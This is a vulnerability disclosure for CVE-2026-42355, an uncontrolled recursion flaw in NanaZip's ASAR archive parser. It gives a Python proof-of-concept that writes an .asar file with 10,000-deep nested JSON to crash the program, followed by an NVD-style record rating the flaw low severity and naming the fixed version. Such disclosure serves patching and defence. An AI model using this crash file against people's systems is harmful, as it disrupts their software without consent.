CVE-2026-42355

import json import struct import os # Create a deeply nested JSON structure to trigger stack overflow deep_json = {} current = deep_json # Set recursion depth (e.g., 10000) to exceed stack limit recursion_depth = 10000 for _ in range(recursion_depth): current["next"] = {} current = current["next"] current["payload"] = "crash" # Convert to JSON string json_str = json.dumps(deep_json, separators=(',', ':')) # ASAR file format: 4-byte size (little endian) + JSON + file content header_size = len(json_str) header = struct.pack("<I", header_size) + json_str.encode('utf-8') # Write the crafted ASAR file filename = "exploit.asar" with open(filename, "wb") as f: f.write(header) # Append dummy content f.write(b"MALICIOUS_CONTENT") print(f"[+] Crafted ASAR file saved as {filename}") print(f"[+] JSON nesting depth: {recursion_depth}") print("[+] Open this file with a vulnerable version of NanaZip to trigger the crash.")

{"cve": {"id": "CVE-2026-42355", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:41.260", "lastModified": "2026-05-13T16:26:29.697", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, an uncontrolled recursion vulnerability exists in the Electron Archive (ASAR) parser in NanaZip. When opening a crafted .asar file with deeply nested JSON in the header, both nlohmann::json::parse and the handler's GetAllPaths function recurse without depth limits, exhausting the thread stack and crashing the NanaZip process. This vulnerability is fixed in 6.0.1698.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://github.com/M2Team/NanaZip/security/advisories/GHSA-4gxf-p4q6-gfrf", "source": "[email protected]"}]}}